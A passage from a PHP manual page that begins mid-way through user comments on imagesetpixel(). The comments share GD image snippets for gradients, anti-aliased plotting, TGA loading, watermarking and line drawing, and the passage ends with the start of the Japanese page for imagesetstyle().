          $pixel_gy += $gy[$i+1][$j+1] * $val;
        }
      }
      $pixel = sqrt($pixel_gx * $pixel_gx + $pixel_gy * $pixel_gy);
      $pixel = abs(255 - (int)$pixel);
      if (!isset($colors[$pixel])) $colors[$pixel] = imagecolorallocate($out_im, $pixel, $pixel, $pixel);
      imageSetPixel($out_im, $row, $col, $colors[$pixel]);
    }
  }
  imagejpeg($out_im,$output, 75);
}

edge('input.jpg', 'output.jpg');

?>
aelitadelarobia at gmail dot com 15-Aug-2009 12:56
another gradient example that can do horizontal or vertical gradients

<?php
$width=$_GET['width'];
$height=$_GET['height'];
$starts=explode(",",$_GET['startcolor']);
$ends=explode(",",$_GET['endcolor']);
    $rstart=$starts[0];
    $gstart=$starts[1];
    $bstart=$starts[2];
    $rend=$ends[0];
    $gend=$ends[1];
    $bend=$ends[2];
    $r=$rstart;
    $g=$gstart;
    $b=$bstart;
$bigger=imagecreatetruecolor($width,$height);
for ($y=0;$y<=265;$y++) {
    if ($mode == 'horiz') { //if doing a horizontal gradient, reset to the starting color every row
        $r=$rstart;
        $g=$gstart;
        $b=$bstart;
    }
    for ($x=0;$x<=464;$x++) {
        imagesetpixel($bigger,$x,$y,imagecolorallocate($bigger,$r,$g,$b));
        if ($mode=="horiz") {
            if ($r != $rend) {
                $r=$r+(($rend-$rstart)/$width);
            }
            if ($g != $gend) {
                $g=$g+(($gend-$gstart)/$width);
            }
            if ($b != $bend) {
                $b=$b+(($bend-$bstart)/$width);
            }
        }
    }
    if ($mode == "vert") {
        if ($r != $rend) {
            $r=$r+(($rend-$rstart)/$height);
        }
        if ($g != $gend) {
            $g=$g+(($gend-$gstart)/$height);
        }
        if ($b != $bend) {
            $b=$b+(($bend-$bstart)/$height);
        }
    }
}
header("Content-type: image/jpeg");
header('Content-Disposition: inline; filename="gradient.jpg"');

imagejpeg($bigger,NULL,99);
imagedestroy($bigger);
?>
CPHaxer 25-Feb-2009 01:35
Sorry for the long intro of my function, but i just want to tell how it works and - how silly sometimes the ideas are to make such functions. Have fun ;D

<?php

  //@FunctionName:    drawPlot
  //@Parameters:      drawPlot(img &$image, int $red, int $green, int $blue, int $x, int $y)
  //
  //                  img $image
  //                    The Image it will draw on. The Image will be modified; there is no return value.
  //
  //                  int $red, int $green, int $blue
  //                    The Colorvalues to draw with
  //
  //                  int $x, int $y
  //                    The Location to draw the Plot.
  //                    And this is the Mainpart, because $x and $y
  //                    NEED NOT be rounded!
  //                    If you want to make a Plot at [253.643891, 482];
  //                    It will draw the Plot there. Exact at the Coordinates.
  //                    You could use this to make smooth lines.
  //                    They have rational Coordinates, too.
  //
  //@Author:          Alexander Rath (*Feb 9th, 1996 ; 13 Years old)
  //
  //@Idea:            We have in Math Geometrie now. And as the only Computerfreak
  //                  In the class, i asked me: "How would it be, to mirror something
  //                  At a NOT FLAT LINE."
  //                  So I started thinking about it. First i tought about degresses - Nah!
  //                  Then i saw:
  //                  A point to mirror, has the SHORTEST way to the Line;
  //                  so i just needed to make the result smooth.
  //                  Unlike the other ways to draw pixels.
  //                                ~I started developing this:
  // PS: Sorry for bad english ( I am german )

  //Lets create a TrueColor Image Resource
  $image = imagecreatetruecolor(640, 480);

  //Lets make it Alpha
  imagealphablending($image, true);
  imagesavealpha($image, true);

  //...with White Background to draw on.
  imagefilledrectangle($image, 0, 0, 640, 480, imagecolorallocate($image, 255, 255, 255));

  //This is my little "Example"-Script
  for($x = 0; $x <= 640; $x = $x + 0.01) {
    $y = $x / (tan($x) + 1);
    drawPlot($image, 0, 0, 0, $x, $y);
  }

  header("Content-type: image/png");
  imagepng($image);

  function drawPlot(&$func_image, $func_red, $func_green, $func_blue, $func_x, $func_y) {
    $func_Right = $func_x - floor($func_x);
      $func_Left = 1 - $func_Right;

      $func_Bottom = $func_y - floor($func_y);
      $func_Top = 1 - $func_Bottom;

    $func_RightAlpha = $func_Right * 127;
    $func_LeftAlpha = $func_Left * 127;

    $func_LeftTop = $func_LeftAlpha * $func_Top;
    $func_RightTop = $func_RightAlpha * $func_Top;
    $func_LeftBottom = $func_LeftAlpha * $func_Bottom;
    $func_RightBottom = $func_RightAlpha * $func_Bottom;

    $func_x = floor($func_x);
    $func_y = floor($func_y);

    imagesetpixel($func_image, $func_x, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftTop));
    imagesetpixel($func_image, $func_x + 1, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightTop));
    imagesetpixel($func_image, $func_x + 1, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightBottom));
    imagesetpixel($func_image, $func_x, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftBottom));
  }

?>

Have fun ;D
Scott Evernden (doctor3d at gmail) 19-Dec-2008 05:00
Re: imagecreatefromtga() .. I just did some testing with what I think are valid Targa-24 and Targa-32 bit images, and modified the inner logic as follows:

<?php
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 7;
            $g = ($word & 0x03E0) >> 2;
            $b = ($word & 0x001F) << 3;
            $a = ($word & 0x8000) ? 127 : 0;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);         }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - BBBBBBBB GGGGGGGG RRRRRRRR
        {
            $r = fileint($data, $pointer, 1);
            $b = fileint($data, $pointer+1, 1);
            $g = fileint($data, $pointer+2, 1);
            $color = imagecolorallocate($image, $r, $g, $b);
            imagesetpixel($image, $x, $y, $color);
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - BBBBBBBB GGGGGGGG RRRRRRRR AAAAAAAA
        {
            $b = fileint($data, $pointer, 1);
            $g = fileint($data, $pointer+1, 1);
            $r = fileint($data, $pointer+2, 1);
            $a = (255 - fileint($data, $pointer+3, 1)) >> 1;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);
        }
?>

The red and blue tint issue seems to be fixed by this...
mm 14-Dec-2008 06:30
@ Scott Evernden

Scott, your function works great for uncompressed TGA image files, except the results for TGA 32 with alpha don't come out right, at least in my tests. If the alpha is all white, the resulting image comes out with a red tint. If black, the resulting image has a blue tint. I don't know how to make it just ignore the alpha, but that would be handy...
Anonymous 15-Jul-2008 09:41
This snippet creates a gradient images depending on the value of RGB components. Gradients allow your page to have a shadow effect.

<?php
try{
   if(!$image=imagecreatetruecolor(50,10)){
     throw new Exception('Error creating image');
   }

   for($y=0;$y<10;++$y)
      {
      $color=imagecolorallocate($image, 75+($y*5),75+($y*11),75+($y*9));
      for($x=0;$x<50;++$x)
         {
         imagesetpixel($image,$x,$y,$color);
         }
      }

   //header("Content-type: image/jpeg");
   imagejpeg($image,'footerShadow.jpg');
   // free memory
   imagedestroy($image);

}
catch(Exception $e){
   echo $e->getMessage();
   exit();
}
?>
Scott Evernden (doctor3d at gmail) 30-Apr-2008 03:44
My last note doesn't do alpha properly, so make the following change to the appropriate lines:

$r = ($word & 0x7C00) >> 7;
$g = ($word & 0x03E0) >> 2;
$b = ($word & 0x001F) << 3;
$a = ($word & 0x8000) ? 127 : 0;
$color = imagecolorallocatealpha($image, $r, $g, $b, $a);
imagesetpixel($image, $x, $y, $color);
Scott Evernden (doctor3d at gmail) 25-Apr-2008 06:25
here's my version of imagecreatefromtga() that's been tested to work for targa 16 .. adapted from offering by zehao dot chang at gmail dot com

function imagecreatefromtga($filename)
{
    $data = file_get_contents($filename);

    // Extract header information
    $string_length = fileint($data, 1, 1);
    $data_type = fileint($data, 2, 1);
    $width = fileint($data, 12, 2);
    $height = fileint($data, 14, 2);
    $bits_per_pixel = fileint($data, 16, 1);

    $bytes_per_pixel = (int) $bits_per_pixel / 8;

    // Currently only supporting RGB Data type
    switch ($data_type)        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:     // Uncompressed RGB image
            break;
        case 0:     // No attached image data
        case 1:     // Uncompressed color-mapped image
        case 3:     // Uncompressed black and white image
        case 9:     // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $x = 0;  $y = $height - 1;

    $image = imagecreatetruecolor($width, $height);

    while ($pointer < strlen($data))
    {
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 10;
            $g = ($word & 0x03E0) >> 5;
            $b = ($word & 0x001F);
            imagesetpixel($image, $x, $y, $r << 19 | $g << 11 | $b << 3);
        }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer, 3));
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer + 1, 3));
        }

        if (++$x == $width)
        {
            $y--;
            $x = 0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

function fileint($data, $pos, $len)
{
    return base_convert(bin2hex(strrev(substr($data, $pos, $len))), 16, 10);
}
Gusts Kaksis 13-Apr-2007 07:29
This code generate a simple colortable - not a very acurate one (it would be good to define fade of color - more fading)

<?php
set_time_limit(200);
/*
Custommize this to see some nice changes:
*/
$width = 360;   // degrees
$height = 18;   // byte
$offset = -60;    // offset of color hue

/*
Main programm:
Here comes transformations - width to degrees and height to intesity
*/
$w2deg = $width/360;
$h2byte = $height/255;
$byte2deg = 255/360;
$im = imagecreatetruecolor($width,$height);
for ($x = 0; $x < $width; $x ++){
  /*
  Transform X to degrees
  */
  $x_pos = $x/$w2deg;
  /*
  Intensity position (where max intensity is 255) on 360 degree scale.
  0 = red
  1 = green
  2 = blue
  */
  $rgb_pos[0] = sin(deg2rad($x_pos) - deg2rad($offset + 0));
  $rgb_pos[1] = sin(deg2rad($x_pos) - deg2rad($offset + 120));
  $rgb_pos[2] = sin(deg2rad($x_pos) - deg2rad($offset + 240));
  /*
  Calculate intesity at current point 0 - 255
  */
  $rgb_col[0] = 127 + 127 * $rgb_pos[0];
  $rgb_col[1] = 127 + 127 * $rgb_pos[1];
  $rgb_col[2] = 127 + 127 * $rgb_pos[2];

  /*
  White -> color -> Black loop
  */
  for ($y = 0; $y < $height; $y ++){
    /*
    Transform Y to intensity (-255 to 255)
    */
    $y_pos = -255 + ($y/$h2byte) * 2;
    $rgb_out[0] = $rgb_col[0] - $y_pos;
    $rgb_out[1] = $rgb_col[1] - $y_pos;
    $rgb_out[2] = $rgb_col[2] - $y_pos;

    /*
    If we go over 255 or under 0 we normalize it
    */
    foreach($rgb_out as $key => $col){
      if ($col > 255){
        $rgb_out[$key] = 255;
      } else if ($col < 0){
        $rgb_out[$key] = 0;
      }
    }
    /*
    Put a pixel
    */
    $col = imagecolorallocate($im,$rgb_out[0],$rgb_out[1],$rgb_out[2]);
    imagesetpixel($im,$x,$y,$col);
  }
}
/*
Test output
*/
imagejpeg($im,'colortable.jpg');
echo '<img src="colortable.jpg">';
?>
zehao dot chang at gmail dot com 06-Apr-2006 01:00
Here's my stab at the imagecreatefromtga function. I used code from send at mail dot 2aj dot net and others below as a basis, and added support for targa 16, targa 24 and targa 32. However, I only support uncompressed RBG data type as that's the only one I need. (I removed the return_array feature since you can simply use imagesx() and imagesy() to get the image size).

Please note that I have not tested this with a targa 16 since I don't have one handy at the moment.

<?php

function imagecreatefromtga( $filename )
{
    $handle = fopen( $filename, 'rb' );
    $data = fread( $handle, filesize( $filename ) );
    fclose( $handle );

    // Extract header information
    $string_length = base_convert( bin2hex( substr($data,1,1) ), 16, 10 );
    $data_type = base_convert( bin2hex( substr($data,2,1) ), 16, 10 );
    $width = base_convert( bin2hex( strrev( substr($data,12,2) ) ), 16, 10 );
    $height = base_convert( bin2hex( strrev( substr($data,14,2) ) ), 16, 10 );
    $bits_per_pixel = base_convert( bin2hex( substr($data,16,1) ), 16, 10 );

    // Currenly I'm only supporting RGB Data type
    switch( $data_type )        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:        // Uncompressed RGB image
            break;
        case 0:        // No attached image data
        case 1:        // Uncompressed color-mapped image
        case 3:        // Uncompressed black and white image
        case 9:        // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $bytes_per_pixel = (int) $bits_per_pixel/8;
    $x = 0;  $y = $height;

    $image = imagecreatetruecolor($width, $height);

    while ( $pointer < strlen($data) )
    {
        if( $bytes_per_pixel == 2 )            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $low_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $high_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $r = base_convert( ($high_byte & 0x7C)>>2, 16, 10);
            $g = base_convert( (($high_byte & 0x03)<<3) | (($low_byte & 0xE0)>>5), 16, 10);
            $b = base_convert( $low_byte & 0x1F, 16, 10);
            imagesetpixel( $image, $x, $y, $r<<16 | $g<<8 | $b);
        }
        else if( $bytes_per_pixel == 3 )    // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel))), 16, 10));
        }
        else if( $bytes_per_pixel == 4 )    // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel-1))), 16, 10));
        }

        if(++$x == $width)
        {
            $y--;
            $x=0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

?>
T. Dekker 30-Nov-2005 02:53
In reply to weitheism at gmail.com:

You should probably have used ImageAlphaBlending($image, false); in your early attempts. This way any paint/fill operation replaces the alpha value of the destination.
Brian Vaughn [php at boynamedbri dot com] 28-Aug-2005 12:00
I looked, but was unable to find any example code to watermark an image with a watermark that contained alpha transparency. So the following class does just that. As a parameter, it takes 2 image objects: the main image, and the watermark image (which can be a gif, png, whatever) - and optionally, an alpha setting (0-100% alpha for the watermark image). It then creates and returns a new image with the alpha-transparent watermark imposed, center-aligned, over the larger image.

<?php
class watermark{

    function create_watermark( $dst_img, $watermark_img, $alpha = 100 ) {
        $alpha    /= 100;    # convert 0-100% user-friendly alpha to decimal

        # calculate our images dimensions
        $dst_img_w    = imagesx( $dst_img );
        $dst_img_h    = imagesy( $dst_img );
        $watermark_img_w    = imagesx( $watermark_img );
        $watermark_img_h    = imagesy( $watermark_img );

        # create new image to hold merged changes
        $return_img    = imagecreatetruecolor( $dst_img_w, $dst_img_h );
#        $return_img    = imagecreate( $dst_img_w, $dst_img_h );

        # determine center position coordinates
        $dst_img_min_x    = floor( ( $dst_img_w / 2 ) - ( $watermark_img_w / 2 ) );
        $dst_img_max_x    = ceil( ( $dst_img_w / 2 ) + ( $watermark_img_w / 2 ) );
        $dst_img_min_y    = floor( ( $dst_img_h / 2 ) - ( $watermark_img_h / 2 ) );
        $dst_img_max_y    = ceil( ( $dst_img_h / 2 ) + ( $watermark_img_h / 2 ) );

        # walk through main image
        for( $y = 0; $y < $dst_img_h; $y++ ) {
            for( $x = 0; $x < $dst_img_w; $x++ ) {
                $return_color    = NULL;

                # determine the correct pixel location within our watermark
                $watermark_x    = $x - $dst_img_min_x;
                $watermark_y    = $y - $dst_img_min_y;

                # fetch color information for both of our images
                $dst_rgb = imagecolorsforindex( $dst_img, imagecolorat( $dst_img, $x, $y ) );

                # if our watermark has a non-transparent value at this pixel intersection
                # and we're still within the bounds of the watermark image
                if (    $watermark_x >= 0 && $watermark_x < $watermark_img_w &&
                            $watermark_y >= 0 && $watermark_y < $watermark_img_h ) {
                    $watermark_rbg = imagecolorsforindex( $watermark_img, imagecolorat( $watermark_img, $watermark_x, $watermark_y ) );

                    # using image alpha, and user specified alpha, calculate average
                    $watermark_alpha    = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
                    $watermark_alpha    = $watermark_alpha * $alpha;

                    # calculate the color 'average' between the two - taking into account the specified alpha level
                    $avg_red        = $this->get_ave_color( $dst_rgb['red'],        $watermark_rbg['red'],        $watermark_alpha );
                    $avg_green    = $this->get_ave_color( $dst_rgb['green'],    $watermark_rbg['green'],    $watermark_alpha );
                    $avg_blue        = $this->get_ave_color( $dst_rgb['blue'],    $watermark_rbg['blue'],        $watermark_alpha );

                    # calculate a color index value using the average RGB values we've determined
                    $return_color    = $this->imagegetcolor( $return_img, $avg_red, $avg_green, $avg_blue );

                # if we're not dealing with an average color here, then let's just copy over the main color
                } else {
                    $return_color    = imagecolorat( $dst_img, $x, $y );

                } # END if watermark

                # draw the appropriate color onto the return image
                imagesetpixel( $return_img, $x, $y, $return_color );

            } # END for each X pixel
        } # END for each Y pixel

        # return the resulting, watermarked image for display
        return $return_img;

    } # END create_watermark()

    # average two colors given an alpha
    function get_ave_color( $color_a, $color_b, $alpha ) {
        return round( ( ( $color_a * ( 1 - $alpha ) ) + ( $color_b    * $alpha ) ) );
    } # END get_ave_color()

    # return closest pallette-color match for RGB values
    function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
    } # EBD imagegetcolor()

} # END watermark API
?>
weitheism at gmail.com 08-Aug-2005 12:22
I was looking for a way to actually DELETE pixels or squares or parts of an image from an image resource, and at first I thought imagesetpixel would do the trick. Unfortunately, it merely paints over that one pixel, and as far as I knew, php didn't have any native way of deleting sections out of your image - so this little method should take care of deleting rectangular parts of your pictures!

function deleteRectangle(&$oldImage,$leftX,$leftY,$rightX,$rightY)
    {
        // Since php has no native way of delete parts of images
        // We have to divide the image into four different parts and then copy them manually to a new
        // image

        $xSize = imagesx($oldImage);
        $ySize = imagesy($oldImage);

        // Divides the image into four sections to copy
        $imagesection = array();
        $imagesection[] = array(0,0,$leftX,$ySize);
        $imagesection[] = array($leftX,0,$rightX+1,$leftY);
        $imagesection[] = array($leftX,$rightY+1,$rightX+1,$ySize);
        $imagesection[] = array($rightX+1,0,$xSize,$ySize);

        // Create the new, copied image
        $newImage = imagecreatetruecolor($xSize,$ySize);
        // Vital for transparency
        imagesavealpha($newImage,true);

        // Fills the background a transparent color
        $transparentBackground = imagecolorallocatealpha($newImage,255,255,255,127);
        imagefill($newImage,0,0,$transparentBackground);

        // Copies each of the four imagesections into their respective old positions
        for($i = 0;$i<count($imagesection);$i++)
imagecopyresampled($newImage,$oldImage, $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1]);

        // Alternately you can cycle through each pixel in an image and see if that pixel is an the area
        // but that could be more intensive
        imagedestroy($oldImage);

        // Sets the old image equal to the new, cleared image
        $oldImage = $newImage;
    }

It was made with a transparent background in mind, but you could easily change that by changeing imagecreatetruecolor to imagecreate and deleting the code that deals with transparency. Hope it helps!
d [AT] sprid [DOT] de 14-Jul-2005 02:28
This code does generate a RGB-cube (with or without borders). Because its only rendering the visible pixels its clearly fast (approx 1 up to 2 seconds). With changing the $order-variable you can see the cube from different perspectives. Entering double or tribble values (like rrg or ggg) will give you other specs of single channels. Send any sugestions to my email.

<?php
$borders = true;
$order   = 'rgb';

set_time_limit(0);
$img = imageCreateTrueColor(510, 510);

$bg = imageColorAllocate($img, 255, 255, 255);
$black = imageColorAllocate($img, 255, 255, 255);

for ($r=0; $r<256; $r++) {
  for ($g=0; $g<256; $g++) {
    for ($b=0; $b<256; $b++) {
      $rN = ${$order{0}};
      $gN = ${$order{1}};
      $bN = ${$order{2}};

      $col = imageColorAllocate($img, $rN, $gN, $bN);
      imagesetpixel($img, $b+($r*0.5)+(255/4), $g+($r*0.5)+(255/4), $col);
      if ($r < 255 && $g > 0) break;
    }
  }

  if ($borders) {
    imagesetpixel($img, ($r*0.5+(255/4)), ($r*0.5)+(255/4),     $black);
    imagesetpixel($img, ($r*0.5)+255+(255/4), ($r*0.5)+(255/4), $black);
    imagesetpixel($img, ($r*0.5)+(255/4), ($r*0.5)+255+(255/4), $black);
  }
}

if ($borders) {
  imageline($img, 255/4, 255/4, 255+(255/4), 255/4, $black);
  imageline($img, 255/4, 255/4, 255/4, 255+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
}

header("Content-Type: image/png");
imagepng($img);
imagedestroy($img);
?>
bpgordon at gmail dot com 23-May-2005 03:18
This code converts a block of text to an image so that each character in the block defines one pixel in the image and each line in the block (delimited by \n's) builds one whole row of pixels in the image.
Usage: Place a 0 to create a white pixel. Place a 1 to create a black pixel.
Example: Entering the following digits (including the line breaks) will create a 3x3 square with a 1-pixel white border.
00000
01110
01110
01110
00000

<?php
if (isset($_POST["sendtxt"])) {
header("Content-type: image/png");
$splitted = explode("\n", $_POST["sendtxt"]);
foreach ($splitted as $tcurkey => $curval) $tsplitted[$tcurkey] = rtrim($curval);
$splitted = $tsplitted; //referencing isn't working for some reason...
$image = imagecreate(strlen($splitted[1]), count($splitted));
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF); // don't delete this line
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
foreach($splitted as $curkey => $opelement) {
$subsplitten = preg_split("//", $opelement);
foreach($subsplitten as $subcurkey => $subopelement) {
if ($subopelement == "1" || $subopelement == ".") imagesetpixel($image, $subcurkey-1, $curkey, $black);
}
}
imagepng($image);
imagedestroy($image);
} else {
echo <<<end
<table width="1" border="0"><td>
<form method="post" action="#">
<textarea cols="30" rows="7" name="sendtxt"></textarea><br>
<input type="submit" value="render">
</form></td></table>
end; }
?>
odin<spam inside(C)>dtdm.org 05-Oct-2004 05:36
Just a simple implementation of the Bresenham algorythm (educational purpose....)

You can find more about this and many other tutorials for gfx there: http://brand107.home.comcast.net/pc-gpe/

<?php

/****************************************************
     Bresenham Line Algorythm PHP/GD implementation
****************************************************/
function line($im,$x1,$y1,$x2,$y2,$color){

    $deltax=abs($x2-$x1);
    $deltay=abs($y2-$y1);

    if ($deltax>$deltay) {
     $numpixels=$deltax+1;
     $d=(2*$deltay)-$deltax;
     $dinc1=$deltay << 1; $dinc2=($deltay-$deltax) << 1;
     $xinc1=1; $xinc2=1;
     $yinc1=0; $yinc2=1;
    } else {
     $numpixels=$deltay+1;
     $d=(2*$deltax)-$deltay;
     $dinc1=$deltax << 1; $dinc2=($deltax-$deltay)<<1;
     $xinc1=0; $xinc2=1;
     $yinc1=1; $yinc2=1;
    }

    if ($x1>$x2) {
     $xinc1=-$xinc1;
     $xinc2=-$xinc2;
    }

    if ($y1>$y2) {
     $yinc1=-$yinc1;
     $yinc2=-$yinc2;
    }
    $x=$x1;
    $y=$y1;

    for ($i=0;$i<$numpixels;$i++) {
     imagesetpixel($im,$x,$y,$color);
     if ($d<0) {
      $d+=$dinc1;
      $x+=$xinc1;
      $y+=$yinc1;
     } else {
      $d+=$dinc2;
      $x+=$xinc2;
      $y+=$yinc2;
     }
    }
return ;
}

?>
richard at mf2fm dot co dot uk 24-Aug-2004 02:06
Here is a function that takes an image ($im) and returns it with the contrast maximised...

<?php
function contrast($im) {
    $brightness=0;
    $maxb=0;
    $minb=255;
    $imagesize=getimagesize($im);
    $w=$imagesize[0];
    $h=$imagesize[1];
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            $grey=0.2125*$rgb['red']+
                0.7154*$rgb['green']+
                0.0721*$rgb['blue'];
            $brightness+=$grey;
            if ($grey>$maxb) $maxb=$grey;
            if ($grey<$minb) $minb=$grey;
        }
    }
    $brightness=$brightness/($w*$h);
    $minb=$brightness/($brightness-$minb);
    $maxb=(255-$brightness)/($maxb-$brightness);
    $contrast=min($minb, $maxb);
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            imagesetpixel($im, $x, $y,
                65536*floor(min($rgb['red']*$contrast, 255))+
                256*floor(min($rgb['green']*$contrast, 255))+
                floor(min($rgb['blue']*$contrast, 255)));
        }
    }
    return ($im);
}
?>

An example of usage might be:
<?php
$imagefile="/path/filename";
$image=imagecreatefromjpeg($imagefile);
$image=contrast($image);
imagejpeg($image, $imagefile);
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:50
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig

By chris@drunkenpirates.co.uk

*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
dino at nordmark dot dk 31-May-2002 04:28
The example above diden't work, because of some errors.
This should work and it's also faster because there is only one 512*512 loop. (but it is still very slow)

<?
$filename="lena.raw";
$width=512;
$height=512;
$fp=fopen($filename, "r");
$contents=fread($fp,filesize($filename));
fclose($fp);

$image=imagecreate($width,$height);

// create greyscale palette because the image is limited to 256 colors
for ($i=0;$i<256;$i++){ ImageColorAllocate($image,$i,$i,$i);}

// This is slow, but probably the only way
for ($i=0;$i<512;$i++){
   for ($j=0;$j<512;$j++){
   imagesetpixel ($image,$i,$j,ord($contents[$i+$j*512]));
   }
}

imagepng($image,"result.png");
imagedestroy($image);

echo "<img src=result.png></img>";
?>

--

Dino Patti


線描画用のスタイルを設定する

  • ≪ imagesetpixel
  • imagesetthickness ≫
  • PHP Manual
  • GD および Image 関数
  • 線描画用のスタイルを設定する

imagesetstyle

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetstyle — 線描画用のスタイルを設定する

説明

imagesetstyle ( resource $image , array $style ) : bool

imagesetstyle() は、特別な IMG_COLOR_STYLED または色を有するイメージの線 IMG_COLOR_STYLEDBRUSHED を描画する際に (imageline() と imagepolygon() のような) 全ての線描画関数で使用されるスタイルを設定します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

style

はピクセルの配列です。定数 IMG_COLOR_TRANSPARENT を使用すると、透明なピクセルを追加できます。 style は空の配列にしてはいけません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

以下の例は、キャンバスの左上から右下隅に破線を描画するスクリプトです。

例1 imagesetstyle() の例

<?php
header("Content-type: image/jpeg");
$im  = imagecreatetruecolor(100, 100);
$w   = imagecolorallocate($im, 255, 255, 255);
$red = imagecolorallocate($im, 255, 0, 0);

/* 5 ピクセルの赤線と 5 ピクセルの白線の破線を描画します */
$style = array($red, $red, $red, $red, $red, $w, $w, $w, $w, $w);
imagesetstyle($im, $style);
imageline($im, 0, 0, 100, 100, IMG_COLOR_STYLED);

/* imagesetstyle を併用した imagesetbrush() を使用して happy face の線を描画します */
$style = array($w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $red);
imagesetstyle($im, $style);

$brush = imagecreatefrompng("http://www.libpng.org/pub/png/images/smile.happy.png");
$w2 = imagecolorallocate($brush, 255, 255, 255);
